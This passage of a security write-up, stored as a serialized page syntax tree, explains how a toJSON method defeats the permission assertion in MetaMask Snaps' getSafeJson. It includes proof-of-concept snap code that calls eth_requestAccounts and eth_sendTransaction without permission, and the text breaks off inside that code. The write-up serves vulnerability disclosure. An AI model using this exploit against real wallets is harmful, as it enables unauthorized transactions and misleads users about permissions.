assertSnapOutboundRequest",{"type":23,"tag":504,"props":37728,"children":37729},{"style":523},[37730],{"type":28,"value":526},{"type":23,"tag":504,"props":37732,"children":37733},{"style":529},[37734],{"type":28,"value":37204},{"type":23,"tag":504,"props":37736,"children":37737},{"style":523},[37738],{"type":28,"value":27334},{"type":23,"tag":504,"props":37740,"children":37741},{"style":1106},[37742],{"type":28,"value":37743},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":504,"props":37745,"children":37746},{"class":506,"line":555},[37747,37751,37756,37760,37765,37769,37773],{"type":23,"tag":504,"props":37748,"children":37749},{"style":511},[37750],{"type":28,"value":30525},{"type":23,"tag":504,"props":37752,"children":37753},{"style":529},[37754],{"type":28,"value":37755}," sanitizedArgs",{"type":23,"tag":504,"props":37757,"children":37758},{"style":598},[37759],{"type":28,"value":648},{"type":23,"tag":504,"props":37761,"children":37762},{"style":517},[37763],{"type":28,"value":37764}," getSafeJson",{"type":23,"tag":504,"props":37766,"children":37767},{"style":523},[37768],{"type":28,"value":526},{"type":23,"tag":504,"props":37770,"children":37771},{"style":529},[37772],{"type":28,"value":37204},{"type":23,"tag":504,"props":37774,"children":37775},{"style":523},[37776],{"type":28,"value":630},{"type":23,"tag":504,"props":37778,"children":37779},{"class":506,"line":633},[37780,37785,37789,37794,37798,37802,37807],{"type":23,"tag":504,"props":37781,"children":37782},{"style":511},[37783],{"type":28,"value":37784},"      this",{"type":23,"tag":504,"props":37786,"children":37787},{"style":523},[37788],{"type":28,"value":320},{"type":23,"tag":504,"props":37790,"children":37791},{"style":517},[37792],{"type":28,"value":37793},"notify",{"type":23,"tag":504,"props":37795,"children":37796},{"style":523},[37797],{"type":28,"value":30476},{"type":23,"tag":504,"props":37799,"children":37800},{"style":529},[37801],{"type":28,"value":30481},{"type":23,"tag":504,"props":37803,"children":37804},{"style":622},[37805],{"type":28,"value":37806}," 'OutboundRequest'",{"type":23,"tag":504,"props":37808,"children":37809},{"style":523},[37810],{"type":28,"value":37811}," });\n",{"type":23,"tag":504,"props":37813,"children":37814},{"class":506,"line":687},[37815,37820],{"type":23,"tag":504,"props":37816,"children":37817},{"style":544},[37818],{"type":28,"value":37819},"      try",{"type":23,"tag":504,"props":37821,"children":37822},{"style":523},[37823],{"type":28,"value":552},{"type":23,"tag":504,"props":37825,"children":37826},{"class":506,"line":736},[37827,37831,37835,37840],{"type":23,"tag":504,"props":37828,"children":37829},{"style":544},[37830],{"type":28,"value":742},{"type":23,"tag":504,"props":37832,"children":37833},{"style":544},[37834],{"type":28,"value":35188},{"type":23,"tag":504,"props":37836,"children":37837},{"style":517},[37838],{"type":28,"value":37839}," withTeardown",{"type":23,"tag":504,"props":37841,"children":37842},{"style":523},[37843],{"type":28,"value":2439},{"type":23,"tag":504,"props":37845,"children":37846},{"class":506,"line":785},[37847,37852,37856,37861,37865,37870,37874,37878],{"type":23,"tag":504,"props":37848,"children":37849},{"style":517},[37850],{"type":28,"value":37851},"          originalRequest",{"type":23,"tag":504,"props":37853,"children":37854},{"style":523},[37855],{"type":28,"value":526},{"type":23,"tag":504,"props":37857,"children":37858},{"style":529},[37859],{"type":28,"value":37860},"sanitizedArgs",{"type":23,"tag":504,"props":37862,"children":37863},{"style":544},[37864],{"type":28,"value":7811},{"type":23,"tag":504,"props":37866,"children":37867},{"style":1012},[37868],{"type":28,"value":37869}," unknown",{"type":23,"tag":504,"props":37871,"children":37872},{"style":544},[37873],{"type":28,"value":7811},{"type":23,"tag":504,"props":37875,"children":37876},{"style":1012},[37877],{"type":28,"value":37213},{"type":23,"tag":504,"props":37879,"children":37880},{"style":523},[37881],{"type":28,"value":5720},{"type":23,"tag":504,"props":37883,"children":37884},{"class":506,"line":813},[37885,37890,37894,37898],{"type":23,"tag":504,"props":37886,"children":37887},{"style":511},[37888],{"type":28,"value":37889},"          this",{"type":23,"tag":504,"props":37891,"children":37892},{"style":544},[37893],{"type":28,"value":7811},{"type":23,"tag":504,"props":37895,"children":37896},{"style":1012},[37897],{"type":28,"value":9339},{"type":23,"tag":504,"props":37899,"children":37900},{"style":523},[37901],{"type":28,"value":2484},{"type":23,"tag":504,"props":37903,"children":37904},{"class":506,"line":851},[37905],{"type":23,"tag":504,"props":37906,"children":37907},{"style":523},[37908],{"type":28,"value":6726},{"type":23,"tag":504,"props":37910,"children":37911},{"class":506,"line":869},[37912,37917,37922],{"type":23,"tag":504,"props":37913,"children":37914},{"style":523},[37915],{"type":28,"value":37916},"      } ",{"type":23,"tag":504,"props":37918,"children":37919},{"style":544},[37920],{"type":28,"value":37921},"finally",{"type":23,"tag":504,"props":37923,"children":37924},{"style":523},[37925],{"type":28,"value":552},{"type":23,"tag":504,"props":37927,"children":37928},{"class":506,"line":878},[37929,37934,37938,37942,37946,37950,37955],{"type":23,"tag":504,"props":37930,"children":37931},{"style":511},[37932],{"type":28,"value":37933},"        this",{"type":23,"tag":504,"props":37935,"children":37936},{"style":523},[37937],{"type":28,"value":320},{"type":23,"tag":504,"props":37939,"children":37940},{"style":517},[37941],{"type":28,"value":37793},{"type":23,"tag":504,"props":37943,"children":37944},{"style":523},[37945],{"type":28,"value":30476},{"type":23,"tag":504,"props":37947,"children":37948},{"style":529},[37949],{"type":28,"value":30481},{"type":23,"tag":504,"props":37951,"children":37952},{"style":622},[37953],{"type":28,"value":37954}," 'OutboundResponse'",{"type":23,"tag":504,"props":37956,"children":37957},{"style":523},[37958],{"type":28,"value":37811},{"type":23,"tag":504,"props":37960,"children":37961},{"class":506,"line":1221},[37962],{"type":23,"tag":504,"props":37963,"children":37964},{"style":523},[37965],{"type":28,"value":11645},{"type":23,"tag":504,"props":37967,"children":37968},{"class":506,"line":1276},[37969],{"type":23,"tag":504,"props":37970,"children":37971},{"style":523},[37972],{"type":28,"value":37973},"    };\n",{"type":23,"tag":24,"props":37975,"children":37976},{},[37977,37979,37984,37986,37991],{"type":28,"value":37978},"In particular, this function is from the ",{"type":23,"tag":56,"props":37980,"children":37982},{"className":37981},[],[37983],{"type":28,"value":37154},{"type":28,"value":37985}," provider, but the only thing that changes between this and ",{"type":23,"tag":56,"props":37987,"children":37989},{"className":37988},[],[37990],{"type":28,"value":30395},{"type":28,"value":37992}," is the assert function in the first line.",{"type":23,"tag":24,"props":37994,"children":37995},{},[37996],{"type":28,"value":37997},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":41,"props":37999,"children":38000},{},[38001,38013,38018],{"type":23,"tag":45,"props":38002,"children":38003},{},[38004,38006,38011],{"type":28,"value":38005},"Assert if ",{"type":23,"tag":56,"props":38007,"children":38009},{"className":38008},[],[38010],{"type":28,"value":37204},{"type":28,"value":38012}," are valid",{"type":23,"tag":45,"props":38014,"children":38015},{},[38016],{"type":28,"value":38017},"getSafeJson to get sanitizedArgs",{"type":23,"tag":45,"props":38019,"children":38020},{},[38021],{"type":28,"value":38022},"originalRequest(sanitizedArgs)",{"type":23,"tag":24,"props":38024,"children":38025},{},[38026,38028,38034],{"type":28,"value":38027},"Obs: ",{"type":23,"tag":56,"props":38029,"children":38031},{"className":38030},[],[38032],{"type":28,"value":38033},"originalRequest",{"type":28,"value":38035}," makes the RPC call to metamask service worker",{"type":23,"tag":82,"props":38037,"children":38039},{"id":38038},"safe-json-exploit",[38040],{"type":28,"value":38041},"Safe JSON Exploit",{"type":23,"tag":24,"props":38043,"children":38044},{},[38045,38047,38053,38055,38060,38062,38068],{"type":28,"value":38046},"As we dug further into the",{"type":23,"tag":56,"props":38048,"children":38050},{"className":38049},[],[38051],{"type":28,"value":38052},"getSafeJson",{"type":28,"value":38054}," function (defined in ",{"type":23,"tag":56,"props":38056,"children":38058},{"className":38057},[],[38059],{"type":28,"value":36273},{"type":28,"value":38061}," package) we discovered the following ",{"type":23,"tag":92,"props":38063,"children":38066},{"href":38064,"rel":38065},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[96],[38067],{"type":28,"value":56},{"type":28,"value":3472},{"type":23,"tag":494,"props":38070,"children":38072},{"className":34590,"code":38071,"language":34592,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[38073],{"type":23,"tag":56,"props":38074,"children":38075},{"__ignoreMap":7},[38076,38141,38168,38192,38247,38255,38302,38318,38325,38342,38349,38356],{"type":23,"tag":504,"props":38077,"children":38078},{"class":506,"line":507},[38079,38083,38088,38093,38097,38102,38106,38111,38115,38119,38124,38129,38133,38137],{"type":23,"tag":504,"props":38080,"children":38081},{"style":544},[38082],{"type":28,"value":37185},{"type":23,"tag":504,"props":38084,"children":38085},{"style":511},[38086],{"type":28,"value":38087}," const",{"type":23,"tag":504,"props":38089,"children":38090},{"style":529},[38091],{"type":28,"value":38092}," JsonStruct",{"type":23,"tag":504,"props":38094,"children":38095},{"style":598},[38096],{"type":28,"value":648},{"type":23,"tag":504,"props":38098,"children":38099},{"style":517},[38100],{"type":28,"value":38101}," coerce",{"type":23,"tag":504,"props":38103,"children":38104},{"style":523},[38105],{"type":28,"value":526},{"type":23,"tag":504,"props":38107,"children":38108},{"style":529},[38109],{"type":28,"value":38110},"UnsafeJsonStruct",{"type":23,"tag":504,"props":38112,"children":38113},{"style":523},[38114],{"type":28,"value":576},{"type":23,"tag":504,"props":38116,"children":38117},{"style":517},[38118],{"type":28,"value":15692},{"type":23,"tag":504,"props":38120,"children":38121},{"style":523},[38122],{"type":28,"value":38123},"(), (",{"type":23,"tag":504,"props":38125,"children":38126},{"style":529},[38127],{"type":28,"value":38128},"value",{"type":23,"tag":504,"props":38130,"children":38131},{"style":523},[38132],{"type":28,"value":2064},{"type":23,"tag":504,"props":38134,"children":38135},{"style":511},[38136],{"type":28,"value":13802},{"type":23,"tag":504,"props":38138,"children":38139},{"style":523},[38140],{"type":28,"value":552},{"type":23,"tag":504,"props":38142,"children":38143},{"class":506,"line":540},[38144,38148,38152,38156,38160,38164],{"type":23,"tag":504,"props":38145,"children":38146},{"style":517},[38147],{"type":28,"value":37536},{"type":23,"tag":504,"props":38149,"children":38150},{"style":523},[38151],{"type":28,"value":526},{"type":23,"tag":504,"props":38153,"children":38154},{"style":529},[38155],{"type":28,"value":38128},{"type":23,"tag":504,"props":38157,"children":38158},{"style":523},[38159],{"type":28,"value":576},{"type":23,"tag":504,"props":38161,"children":38162},{"style":529},[38163],{"type":28,"value":38110},{"type":23,"tag":504,"props":38165,"children":38166},{"style":523},[38167],{"type":28,"value":630},{"type":23,"tag":504,"props":38169,"children":38170},{"class":506,"line":555},[38171,38176,38180,38184,38188],{"type":23,"tag":504,"props":38172,"children":38173},{"style":544},[38174],{"type":28,"value":38175},"  return",{"type":23,"tag":504,"props":38177,"children":38178},{"style":529},[38179],{"type":28,"value":653},{"type":23,"tag":504,"props":38181,"children":38182},{"style":523},[38183],{"type":28,"value":320},{"type":23,"tag":504,"props":38185,"children":38186},{"style":517},[38187],{"type":28,"value":662},{"type":23,"tag":504,"props":38189,"children":38190},{"style":523},[38191],{"type":28,"value":2439},{"type":23,"tag":504,"props":38193,"children":38194},{"class":506,"line":633},[38195,38200,38204,38209,38213,38217,38221,38226,38230,38235,38239,38243],{"type":23,"tag":504,"props":38196,"children":38197},{"style":529},[38198],{"type":28,"value":38199},"    JSON",{"type":23,"tag":504,"props":38201,"children":38202},{"style":523},[38203],{"type":28,"value":320},{"type":23,"tag":504,"props":38205,"children":38206},{"style":517},[38207],{"type":28,"value":38208},"stringify",{"type":23,"tag":504,"props":38210,"children":38211},{"style":523},[38212],{"type":28,"value":526},{"type":23,"tag":504,"props":38214,"children":38215},{"style":529},[38216],{"type":28,"value":38128},{"type":23,"tag":504,"props":38218,"children":38219},{"style":523},[38220],{"type":28,"value":7802},{"type":23,"tag":504,"props":38222,"children":38223},{"style":529},[38224],{"type":28,"value":38225},"propKey",{"type":23,"tag":504,"props":38227,"children":38228},{"style":523},[38229],{"type":28,"value":576},{"type":23,"tag":504,"props":38231,"children":38232},{"style":529},[38233],{"type":28,"value":38234},"propValue",{"type":23,"tag":504,"props":38236,"children":38237},{"style":523},[38238],{"type":28,"value":2064},{"type":23,"tag":504,"props":38240,"children":38241},{"style":511},[38242],{"type":28,"value":13802},{"type":23,"tag":504,"props":38244,"children":38245},{"style":523},[38246],{"type":28,"value":552},{"type":23,"tag":504,"props":38248,"children":38249},{"class":506,"line":687},[38250],{"type":23,"tag":504,"props":38251,"children":38252},{"style":1106},[38253],{"type":28,"value":38254},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":504,"props":38256,"children":38257},{"class":506,"line":736},[38258,38263,38267,38271,38275,38280,38284,38289,38293,38298],{"type":23,"tag":504,"props":38259,"children":38260},{"style":544},[38261],{"type":28,"value":38262},"      if",{"type":23,"tag":504,"props":38264,"children":38265},{"style":523},[38266],{"type":28,"value":801},{"type":23,"tag":504,"props":38268,"children":38269},{"style":529},[38270],{"type":28,"value":38225},{"type":23,"tag":504,"props":38272,"children":38273},{"style":598},[38274],{"type":28,"value":30400},{"type":23,"tag":504,"props":38276,"children":38277},{"style":622},[38278],{"type":28,"value":38279}," '__proto__'",{"type":23,"tag":504,"props":38281,"children":38282},{"style":598},[38283],{"type":28,"value":22679},{"type":23,"tag":504,"props":38285,"children":38286},{"style":529},[38287],{"type":28,"value":38288}," propKey",{"type":23,"tag":504,"props":38290,"children":38291},{"style":598},[38292],{"type":28,"value":30400},{"type":23,"tag":504,"props":38294,"children":38295},{"style":622},[38296],{"type":28,"value":38297}," 'constructor'",{"type":23,"tag":504,"props":38299,"children":38300},{"style":523},[38301],{"type":28,"value":537},{"type":23,"tag":504,"props":38303,"children":38304},{"class":506,"line":785},[38305,38309,38314],{"type":23,"tag":504,"props":38306,"children":38307},{"style":544},[38308],{"type":28,"value":742},{"type":23,"tag":504,"props":38310,"children":38311},{"style":511},[38312],{"type":28,"value":38313}," undefined",{"type":23,"tag":504,"props":38315,"children":38316},{"style":523},[38317],{"type":28,"value":866},{"type":23,"tag":504,"props":38319,"children":38320},{"class":506,"line":813},[38321],{"type":23,"tag":504,"props":38322,"children":38323},{"style":523},[38324],{"type":28,"value":11645},{"type":23,"tag":504,"props":38326,"children":38327},{"class":506,"line":851},[38328,38333,38338],{"type":23,"tag":504,"props":38329,"children":38330},{"style":544},[38331],{"type":28,"value":38332},"      return",{"type":23,"tag":504,"props":38334,"children":38335},{"style":529},[38336],{"type":28,"value":38337}," propValue",{"type":23,"tag":504,"props":38339,"children":38340},{"style":523},[38341],{"type":28,"value":866},{"type":23,"tag":504,"props":38343,"children":38344},{"class":506,"line":869},[38345],{"type":23,"tag":504,"props":38346,"children":38347},{"style":523},[38348],{"type":28,"value":37521},{"type":23,"tag":504,"props":38350,"children":38351},{"class":506,"line":878},[38352],{"type":23,"tag":504,"props":38353,"children":38354},{"style":523},[38355],{"type":28,"value":37388},{"type":23,"tag":504,"props":38357,"children":38358},{"class":506,"line":1221},[38359],{"type":23,"tag":504,"props":38360,"children":38361},{"style":523},[38362],{"type":28,"value":34314},{"type":23,"tag":24,"props":38364,"children":38365},{},[38366,38368,38374,38376,38381,38383,38389,38391,38397],{"type":28,"value":38367},"The function performs a ",{"type":23,"tag":56,"props":38369,"children":38371},{"className":38370},[],[38372],{"type":28,"value":38373},"JSON.parse(JSON.stringify(value))",{"type":28,"value":38375}," in the argument sent to ",{"type":23,"tag":56,"props":38377,"children":38379},{"className":38378},[],[38380],{"type":28,"value":38052},{"type":28,"value":38382},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":56,"props":38384,"children":38386},{"className":38385},[],[38387],{"type":28,"value":38388},"toJSON",{"type":28,"value":38390}," function in a legit ",{"type":23,"tag":56,"props":38392,"children":38394},{"className":38393},[],[38395],{"type":28,"value":38396},"snap.request",{"type":28,"value":38398}," argument:",{"type":23,"tag":41,"props":38400,"children":38401},{},[38402,38407,38412],{"type":23,"tag":45,"props":38403,"children":38404},{},[38405],{"type":28,"value":38406},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":45,"props":38408,"children":38409},{},[38410],{"type":28,"value":38411},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":45,"props":38413,"children":38414},{},[38415],{"type":28,"value":38416},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":24,"props":38418,"children":38419},{},[38420],{"type":28,"value":38421},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":41,"props":38423,"children":38424},{},[38425,38430],{"type":23,"tag":45,"props":38426,"children":38427},{},[38428],{"type":28,"value":38429},"forward blocked RPC methods",{"type":23,"tag":45,"props":38431,"children":38432},{},[38433,38435,38440,38442,38448,38450,38455],{"type":28,"value":38434},"Making requests in ",{"type":23,"tag":56,"props":38436,"children":38438},{"className":38437},[],[38439],{"type":28,"value":38396},{"type":28,"value":38441}," that were only supposed to be done within ",{"type":23,"tag":56,"props":38443,"children":38445},{"className":38444},[],[38446],{"type":28,"value":38447},"ethereum.request",{"type":28,"value":38449}," (with ",{"type":23,"tag":56,"props":38451,"children":38453},{"className":38452},[],[38454],{"type":28,"value":37625},{"type":28,"value":38456}," enabled).",{"type":23,"tag":24,"props":38458,"children":38459},{},[38460],{"type":28,"value":38461},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":82,"props":38463,"children":38464},{"id":4644},[38465],{"type":28,"value":4647},{"type":23,"tag":24,"props":38467,"children":38468},{},[38469],{"type":28,"value":38470},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":24,"props":38472,"children":38473},{},[38474],{"type":23,"tag":126,"props":38475,"children":38477},{"alt":7,"src":38476},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":82,"props":38479,"children":38481},{"id":38480},"proof-of-concept",[38482],{"type":28,"value":33805},{"type":23,"tag":24,"props":38484,"children":38485},{},[38486,38488,38493,38495,38500,38502,38508],{"type":28,"value":38487},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":56,"props":38489,"children":38491},{"className":38490},[],[38492],{"type":28,"value":37625},{"type":28,"value":38494}," permission, and used the ",{"type":23,"tag":56,"props":38496,"children":38498},{"className":38497},[],[38499],{"type":28,"value":37154},{"type":28,"value":38501}," interface to call ",{"type":23,"tag":56,"props":38503,"children":38505},{"className":38504},[],[38506],{"type":28,"value":38507},"eth_sendTransaction",{"type":28,"value":38509},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":494,"props":38511,"children":38513},{"className":34590,"code":38512,"language":34592,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[38514],{"type":23,"tag":56,"props":38515,"children":38516},{"__ignoreMap":7},[38517,38550,38557,38564,38581,38610,38617,38642,38649,38681,38692,38709,38722,38729,38736,38743,38775,38782,38789,38796,38812,38839,38846,38869,38876,38907,38918,38934,38946,38967,38982,38999,39007,39014,39021,39028,39059,39066,39073,39133,39140,39168,39185,39200,39216,39231,39243,39273,39280],{"type":23,"tag":504,"props":38518,"children":38519},{"class":506,"line":507},[38520,38524,38528,38533,38537,38541,38546],{"type":23,"tag":504,"props":38521,"children":38522},{"style":544},[38523],{"type":28,"value":18465},{"type":23,"tag":504,"props":38525,"children":38526},{"style":523},[38527],{"type":28,"value":747},{"type":23,"tag":504,"props":38529,"children":38530},{"style":529},[38531],{"type":28,"value":38532},"OnRpcRequestHandler",{"type":23,"tag":504,"props":38534,"children":38535},{"style":523},[38536],{"type":28,"value":35179},{"type":23,"tag":504,"props":38538,"children":38539},{"style":544},[38540],{"type":28,"value":18455},{"type":23,"tag":504,"props":38542,"children":38543},{"style":622},[38544],{"type":28,"value":38545}," '@metamask/snaps-types'",{"type":23,"tag":504,"props":38547,"children":38548},{"style":523},[38549],{"type":28,"value":866},{"type":23,"tag":504,"props":38551,"children":38552},{"class":506,"line":540},[38553],{"type":23,"tag":504,"props":38554,"children":38555},{"emptyLinePlaceholder":16},[38556],{"type":28,"value":1038},{"type":23,"tag":504,"props":38558,"children":38559},{"class":506,"line":555},[38560],{"type":23,"tag":504,"props":38561,"children":38562},{"emptyLinePlaceholder":16},[38563],{"type":28,"value":1038},{"type":23,"tag":504,"props":38565,"children":38566},{"class":506,"line":633},[38567,38571,38576],{"type":23,"tag":504,"props":38568,"children":38569},{"style":511},[38570],{"type":28,"value":514},{"type":23,"tag":504,"props":38572,"children":38573},{"style":517},[38574],{"type":28,"value":38575}," jsonExploit",{"type":23,"tag":504,"props":38577,"children":38578},{"style":523},[38579],{"type":28,"value":38580},"(){\n",{"type":23,"tag":504,"props":38582,"children":38583},{"class":506,"line":687},[38584,38588,38592,38596,38601,38605],{"type":23,"tag":504,"props":38585,"children":38586},{"style":511},[38587],{"type":28,"value":6838},{"type":23,"tag":504,"props":38589,"children":38590},{"style":529},[38591],{"type":28,"value":18046},{"type":23,"tag":504,"props":38593,"children":38594},{"style":598},[38595],{"type":28,"value":648},{"type":23,"tag":504,"props":38597,"children":38598},{"style":523},[38599],{"type":28,"value":38600}," [] ",{"type":23,"tag":504,"props":38602,"children":38603},{"style":544},[38604],{"type":28,"value":7825},{"type":23,"tag":504,"props":38606,"children":38607},{"style":1012},[38608],{"type":28,"value":38609}," any\n",{"type":23,"tag":504,"props":38611,"children":38612},{"class":506,"line":736},[38613],{"type":23,"tag":504,"props":38614,"children":38615},{"emptyLinePlaceholder":16},[38616],{"type":28,"value":1038},{"type":23,"tag":504,"props":38618,"children":38619},{"class":506,"line":785},[38620,38625,38629,38633,38637],{"type":23,"tag":504,"props":38621,"children":38622},{"style":529},[38623],{"type":28,"value":38624},"  x",{"type":23,"tag":504,"props":38626,"children":38627},{"style":523},[38628],{"type":28,"value":320},{"type":23,"tag":504,"props":38630,"children":38631},{"style":529},[38632],{"type":28,"value":37289},{"type":23,"tag":504,"props":38634,"children":38635},{"style":598},[38636],{"type":28,"value":648},{"type":23,"tag":504,"props":38638,"children":38639},{"style":622},[38640],{"type":28,"value":38641}," \"snap_dialog\"\n",{"type":23,"tag":504,"props":38643,"children":38644},{"class":506,"line":813},[38645],{"type":23,"tag":504,"props":38646,"children":38647},{"emptyLinePlaceholder":16},[38648],{"type":28,"value":1038},{"type":23,"tag":504,"props":38650,"children":38651},{"class":506,"line":851},[38652,38656,38660,38664,38668,38673,38677],{"type":23,"tag":504,"props":38653,"children":38654},{"style":529},[38655],{"type":28,"value":38624},{"type":23,"tag":504,"props":38657,"children":38658},{"style":523},[38659],{"type":28,"value":320},{"type":23,"tag":504,"props":38661,"children":38662},{"style":517},[38663],{"type":28,"value":38388},{"type":23,"tag":504,"props":38665,"children":38666},{"style":598},[38667],{"type":28,"value":648},{"type":23,"tag":504,"props":38669,"children":38670},{"style":523},[38671],{"type":28,"value":38672}," () ",{"type":23,"tag":504,"props":38674,"children":38675},{"style":511},[38676],{"type":28,"value":13802},{"type":23,"tag":504,"props":38678,"children":38679},{"style":523},[38680],{"type":28,"value":552},{"type":23,"tag":504,"props":38682,"children":38683},{"class":506,"line":869},[38684,38688],{"type":23,"tag":504,"props":38685,"children":38686},{"style":544},[38687],{"type":28,"value":15968},{"type":23,"tag":504,"props":38689,"children":38690},{"style":523},[38691],{"type":28,"value":552},{"type":23,"tag":504,"props":38693,"children":38694},{"class":506,"line":878},[38695,38700,38705],{"type":23,"tag":504,"props":38696,"children":38697},{"style":529},[38698],{"type":28,"value":38699},"      method:",{"type":23,"tag":504,"props":38701,"children":38702},{"style":622},[38703],{"type":28,"value":38704}," \"eth_requestAccounts\"",{"type":23,"tag":504,"props":38706,"children":38707},{"style":523},[38708],{"type":28,"value":2484},{"type":23,"tag":504,"props":38710,"children":38711},{"class":506,"line":1221},[38712,38717],{"type":23,"tag":504,"props":38713,"children":38714},{"style":529},[38715],{"type":28,"value":38716},"      params:",{"type":23,"tag":504,"props":38718,"children":38719},{"style":523},[38720],{"type":28,"value":38721}," []\n",{"type":23,"tag":504,"props":38723,"children":38724},{"class":506,"line":1276},[38725],{"type":23,"tag":504,"props":38726,"children":38727},{"style":523},[38728],{"type":28,"value":875},{"type":23,"tag":504,"props":38730,"children":38731},{"class":506,"line":1285},[38732],{"type":23,"tag":504,"props":38733,"children":38734},{"style":523},[38735],{"type":28,"value":4855},{"type":23,"tag":504,"props":38737,"children":38738},{"class":506,"line":1294},[38739],{"type":23,"tag":504,"props":38740,"children":38741},{"emptyLinePlaceholder":16},[38742],{"type":28,"value":1038},{"type":23,"tag":504,"props":38744,"children":38745},{"class":506,"line":1302},[38746,38750,38755,38759,38763,38767,38771],{"type":23,"tag":504,"props":38747,"children":38748},{"style":544},[38749],{"type":28,"value":38175},{"type":23,"tag":504,"props":38751,"children":38752},{"style":529},[38753],{"type":28,"value":38754}," snap",{"type":23,"tag":504,"props":38756,"children":38757},{"style":523},[38758],{"type":28,"value":320},{"type":23,"tag":504,"props":38760,"children":38761},{"style":517},[38762],{"type":28,"value":30471},{"type":23,"tag":504,"props":38764,"children":38765},{"style":523},[38766],{"type":28,"value":526},{"type":23,"tag":504,"props":38768,"children":38769},{"style":529},[38770],{"type":28,"value":18257},{"type":23,"tag":504,"props":38772,"children":38773},{"style":523},[38774],{"type":28,"value":1192},{"type":23,"tag":504,"props":38776,"children":38777},{"class":506,"line":1311},[38778],{"type":23,"tag":504,"props":38779,"children":38780},{"emptyLinePlaceholder":16},[38781],{"type":28,"value":1038},{"type":23,"tag":504,"props":38783,"children":38784},{"class":506,"line":1334},[38785],{"type":23,"tag":504,"props":38786,"children":38787},{"style":523},[38788],{"type":28,"value":884},{"type":23,"tag":504,"props":38790,"children":38791},{"class":506,"line":1370},[38792],{"type":23,"tag":504,"props":38793,"children":38794},{"emptyLinePlaceholder":16},[38795],{"type":28,"value":1038},{"type":23,"tag":504,"props":38797,"children":38798},{"class":506,"line":1384},[38799,38803,38808],{"type":23,"tag":504,"props":38800,"children":38801},{"style":511},[38802],{"type":28,"value":514},{"type":23,"tag":504,"props":38804,"children":38805},{"style":517},[38806],{"type":28,"value":38807}," transactionExploit",{"type":23,"tag":504,"props":38809,"children":38810},{"style":523},[38811],{"type":28,"value":38580},{"type":23,"tag":504,"props":38813,"children":38814},{"class":506,"line":1392},[38815,38819,38823,38827,38831,38835],{"type":23,"tag":504,"props":38816,"children":38817},{"style":511},[38818],{"type":28,"value":6838},{"type":23,"tag":504,"props":38820,"children":38821},{"style":529},[38822],{"type":28,"value":18046},{"type":23,"tag":504,"props":38824,"children":38825},{"style":598},[38826],{"type":28,"value":648},{"type":23,"tag":504,"props":38828,"children":38829},{"style":523},[38830],{"type":28,"value":38600},{"type":23,"tag":504,"props":38832,"children":38833},{"style":544},[38834],{"type":28,"value":7825},{"type":23,"tag":504,"props":38836,"children":38837},{"style":1012},[38838],{"type":28,"value":38609},{"type":23,"tag":504,"props":38840,"children":38841},{"class":506,"line":1400},[38842],{"type":23,"tag":504,"props":38843,"children":38844},{"emptyLinePlaceholder":16},[38845],{"type":28,"value":1038},{"type":23,"tag":504,"props":38847,"children":38848},{"class":506,"line":1422},[38849,38853,38857,38861,38865],{"type":23,"tag":504,"props":38850,"children":38851},{"style":529},[38852],{"type":28,"value":38624},{"type":23,"tag":504,"props":38854,"children":38855},{"style":523},[38856],{"type":28,"value":320},{"type":23,"tag":504,"props":38858,"children":38859},{"style":529},[38860],{"type":28,"value":37289},{"type":23,"tag":504,"props":38862,"children":38863},{"style":598},[38864],{"type":28,"value":648},{"type":23,"tag":504,"props":38866,"children":38867},{"style":622},[38868],{"type":28,"value":38641},{"type":23,"tag":504,"props":38870,"children":38871},{"class":506,"line":1450},[38872],{"type":23,"tag":504,"props":38873,"children":38874},{"emptyLinePlaceholder":16},[38875],{"type":28,"value":1038},{"type":23,"tag":504,"props":38877,"children":38878},{"class":506,"line":1463},[38879,38883,38887,38891,38895,38899,38903],{"type":23,"tag":504,"props":38880,"children":38881},{"style":529},[38882],{"type":28,"value":38624},{"type":23,"tag":504,"props":38884,"children":38885},{"style":523},[38886],{"type":28,"value":320},{"type":23,"tag":504,"props":38888,"children":38889},{"style":517},[38890],{"type":28,"value":38388},{"type":23,"tag":504,"props":38892,"children":38893},{"style":598},[38894],{"type":28,"value":648},{"type":23,"tag":504,"props":38896,"children":38897},{"style":523},[38898],{"type":28,"value":38672},{"type":23,"tag":504,"props":38900,"children":38901},{"style":511},[38902],{"type":28,"value":13802},{"type":23,"tag":504